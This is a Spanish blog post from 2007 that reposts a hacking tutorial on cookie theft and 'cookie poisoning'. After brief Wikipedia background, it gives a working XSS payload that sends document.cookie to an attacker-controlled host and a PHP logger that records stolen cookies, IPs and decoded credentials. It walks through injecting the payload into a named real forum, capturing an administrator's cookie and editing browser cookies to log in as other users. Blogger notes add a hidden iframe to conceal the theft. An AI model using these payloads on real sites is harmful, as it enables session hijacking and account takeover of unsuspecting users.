viernes, 22 de junio de 2007

Cookie Poisoning

Cookie Poisoning
By
SkapperMX



Que son las cookies???

Una cookie es un fragmento de información que se almacena en el disco duro del visitante de una página web a través

de su navegador, a petición del servidor de la página. Esta información puede ser luego recuperada por el servidor

en posteriores visitas. Las inventó Lou Montulli, un antiguo empleado de Netscape Communications. Al ser el

protocolo HTTP incapaz de mantener información por sí mismo, para que se pueda conservar información entre una

página vista y otra (como login de usuario, preferencias de colores, etc), ésta debe ser almacenada, ya sea en la

URL de la página, en el propio servidor, o en una cookie en el ordenador del visitante.

De esta forma, los usos más frecuentes de las cookies son:

* Llevar el control de usuarios: cuando un usuario introduce su nombre de usuario y contraseña, se almacena una

cookie para que no tenga que estar introduciéndolas para cada página del servidor. Sin embargo una cookie no

identifica a una persona, sino a una combinación de computador y navegador.
* Ofrecer opciones de diseño (colores, fondos, etc) o de contenidos al visitante.
* Conseguir información sobre los hábitos de navegación del usuario, e intentos de spyware, por parte de

agencias de publicidad y otros. Esto puede causar problemas de privacidad y es una de las razones por la que las

cookies tienen sus detractores.

Originalmente, sólo podían ser almacenadas por petición de un CGI desde el servidor, pero Netscape dio a su lenguaje

Javascript la capacidad de introducirlas directamente desde el cliente, sin necesidad de CGIs. En un principio,

debido a errores del navegador, esto dio algunos problemas de seguridad, que posteriormente fueron resueltos. Estas

vulnerabilidades fueron descubiertas por Esteban Rossi[cita requerida]. Las cookies pueden ser borradas, aceptadas o

bloqueadas según desee, para esto solo debe configurar convenientemente el navegador web.


Robo de cookies

El scripting entre sitios permite que el valor de las cookies se envíe a servidores que normalmente no recibirían

esa información. Los navegadores modernos permiten la ejecución de segmentos de código recibidos del servidor. Si

las cookies están accesibles durante la ejecución, su valor puede ser comunicado de alguna manera a servidores que

no deberían acceder a ellas. El proceso que permite a una parte no autorizada recibir una cookie se llama robo de

cookies, y la encryptación no sirve contra este tipo de ataque.





Falsificación de cookies

Aunque las cookies deben ser almacenadas y enviadas de vuelta al servidor sin modificar, un atacante podría

modificar el valor de las cookies antes de devolverlas. Si, por ejemplo, una cookie contiene el valor total de la

compra de un usuario en un sitio web, cambiando ese valor el servidor podría permitir al atacante pagar menos de lo

debido por su compra. El proceso de modificar el valor de las cookies se denomina falsificación de cookies y a

menudo se realiza tras un robo de cookies para hacer un ataque persistente.

Sin embargo, la mayoría de los sitios web solo almacenan en la cookie un identificador de sesión —un número único

utilizado para identificar la sesión del usuario— y el resto de la información se almacena en el propio servidor. En

este caso, el problema de la falsificación de cookies queda prácticamente eliminado.

Fuente: Wikipedia.com



**********************************************************************************************************************************************************************

*********************************************************************

Bienvenidos a mi segundo tutorial, este manual veremos y llavaremos a cabo ejemplos reales para hacer una

falsificacion de cookie o cookie poisoning.No me hago responsable al daño parcial a webs con esta informacion...

Para este tuto nesesitaremos varias herramientas:

- FlashFXP Descargar

- Mozilla Firefox Descargar

***************************************************************************************************************************************************************************

************************************************************************




Etapa 1

Herramientas y Preparacion



Recuerdas la vulnerabilidad XSS??? de ese ataque muy conocido podemos hacer un script robador de cookie bueno veamos

el script lo cual es el siguiente codigo


Código:


<script>self.location.href='http://misitio.com/log.php?c='+escape(document.cookie);</script>


Analizemos el codigo por partes :


Código:
<script>
Aqui declaramos al servidor de que es un script

Código:
self.location.href

Esto es un comando de JavaScript para redireccionar la web hacia nuestro sitio


Código:
+escape(document.cookie);

Aqui es donde va lo importante ya que aqui se declara de que queremos que la variable C sea la cookie actual


Código:
</script>
Cerramos nuestro script

ok ya tenemos nuestro codigo robador de cookie y ahora como guardamos la cookie???

Sencillamente con este codigo en php lo que hace es captar toda la informacion enviada (por el script) y las guarda

en un archivo que el creara, a este codigo en php lo llamaremos Captador


Código:


<?php
$archivo = fopen('log2.htm','a');//Aqui podemos cambiar el nombre del archivo a crear
$cookie = $_GET['c'];
$usuario = $_GET['id'];
$ip = getenv ('REMOTE_ADDR');
$re = $HTTPREFERRER;

$fecha=date("j F, Y, g:i a");
fwrite($archivo, '<hr>USUARIO Y PASSWORD: '.base64_decode($usuario).'<br>Cookie: '.$cookie.'<br>Pagina: '.$re.'<br>

IP: ' .$ip. '
Fecha y Hora: ' .$fecha. '</hr>');
fclose($archivo);
?>



Como puedes ver no es nada de otro mundo, ok ya tenemos nuestras herramientas y como lanzamos el ataque??
de este modo.

Hay 3 pasos para conseguir un ataque perfecto los cuales son:

1.- Encontrar una web que tenga alguna vulnerabilidad XSS
2.- Encontrar algun host gratuito y subir nuestro captador de cookie con privilegios 777.
3.- Inyectar nuestro codigo (script)
4.- Luego de dias ver nuestro captador y falsificar las cookies


Creamos un hosting gratuito en BolHost.com o otra pagina de hosting gratis que soporte PHP.


Subimos todo para nuestro hosting mediante FTP O Manualmente en la web



Ponemos los privilegios de 777 a nuestro captador



Preparemonos para el ataque......


Etapa 2

Inyeccion y Robo



Atacaremos la siguiente web con un bug XSS en algunos post



Probamos el script test del xss y...





Como vemos es vulnerable a XSS, ahora inyectemos nuestro codigo robador de cookies..



Y nos debe redireccionar hacia nuestra web rabandonos la cookie inmediantamente...



Veamos nuestro captador.... Tenemos Cookies!!!!!!!



Y Ahora hago..........Flasificamos las cookies.

***************************************************************************************************************
PD. Yo usare Firefox para falsificar las cookie ya que me siento mas comodo con el...
usaremos el siguiente plugin.
Se llama Cookie Editor lo pueden descargar aqui:
Aqui
**************************************************************************************************************


Etapa 3

Cookie Poisoning

Abrimos el Mozilla y instalamos nuestro querido plugin...



Ok,instalado nuestro plugin, nos dirigimos a nuestro hosting (donde tenemos nuestro amigo el captador de cookies)...

Lo descargamos....................



Y vemos un monton de letras...



Recuerdas que la web a atacar era www.teambio.net, veamosla...



Como pudieron observar sus ojos este es un foro de la empresa Vbulleti$, como todos sabemos son dificiles de
encontrar una vulnerabilidad ,pero yo la encontre , esto que en un dia en donde no sabia que hacer entra a esa web y

postee un tema pero pense si metiamos a nuestro querido script TEST de XSS en un post que pasaria..

Lo intente y vuala!! me sale un mensaje de alerta, entonces inyecte en mi post el script para robar las cookies y al

los dos o tres dias de espera tenia mis hermosas cookies y adivinen que ¡Tambien la del administrador!.Al momento de

que las vi me emocione y hice rapido un Cookie Poisoning...Dejemos mi experiencias newbies a un lado.


Y como las enveneraremos???? pss muy simple entraremos a nuestra web a atacar la cual en nuestro caso es TeamBio

entremos



Ahora nos registramos y nos loguemos como un usuario normal, pero recuerda que tenemos que póner la casilla de "Recordar Siempre" para la cookie que se envia a nuestro ordenador se cree y asi podamos modificarla a nuestro gusto



Ahora veamos nuestra cookie generada a partir de la web de TeamBio



Como vemos tiene algunas letras, si comparas los datos que tiene con tu cookies obtenidas observaras que casi son

iguales solo por ciertos datos..




Ahora abrimos nuestro querido FIREFOX y en la parte de herramientas seleccionamos Cookie Editor,ahora tenemos todas

las cookie guardadas en nuestro ordenador por otras webs, busquemos en el filtro la palabra team(para teambio)

y...



Ahora sabemos todos los datos que estan en nuetras cookies,ahora solo cambiaremos la informacion de nuestra cookie

original por alguna que capturamos,todos los datos que tengan namas combiaremos la informacion, haciendo click en alguna de las partes y luego Edit





Ahora visitamos nuestra web y.... ¡Estamos loguedos como otro usuario!



Con esto termino mi segundo Tutorial, ojala les haya gustado y entendido.

PD. A lo mejor el sitio de ejemplo ya no sea vulnerable a estos ataques....


**********************************************************************************************************************************************
Team -= UnderCode =-

SkapperMX "No eres nadie en la vida hasta que haces algo especial..."


SkapperMX at gmail dot com
Skapper_MX at hotmail dot com


Notas de bloger:

  • 1)Hay un error en el script para el captador, debes ser así
    <script>self.location.href='http://misitio.com/captador.php?c='+escape(document.cookie);</script>.

  • 2) Para servidores locales la configuracion del permiso debe ser CHMOD 777

  • 3) Se puede usar el tag iframe para camuflajear la pagina captadora...


    <iframe src="http://[server]/xss.html" width="1" height="1" frameborder="0"></iframe>




    <!-- script.js --!>
    <script>
    self.location.href='http://[server]/?c='+escape(document.cookie);
    </script>






    <?php
    // index.php
    $archivo = fopen('log2.htm','a');//Aqui podemos cambiar el nombre del archivo a crear
    $cookie = $_GET['c'];
    $usuario = $_GET['id'];
    $ip = getenv ('REMOTE_ADDR');
    $re = $HTTPREFERRER;

    $fecha=date("j F, Y, g:i a");
    fwrite($archivo, '<hr>USUARIO Y PASSWORD: '.base64_decode($usuario).'<br>Cookie: '.$cookie.'<br>Pagina: '.$re.'


    IP: ' .$ip. '<br> Fecha y Hora: ' .$fecha. '</hr>');
    fclose($archivo);
    ?>


1 comentario:

Anónimo dijo...

Hola, te agradezco muchisimo por el excelente post, la verdad que me despejaste bastante dudas y ya tengo mas claro el tema este del robo de cookies, lamentablemente no puedo ver las imagenes de tu post :( ... ¿serias tan amable de subirlas nuevamente?


Muchas Gracias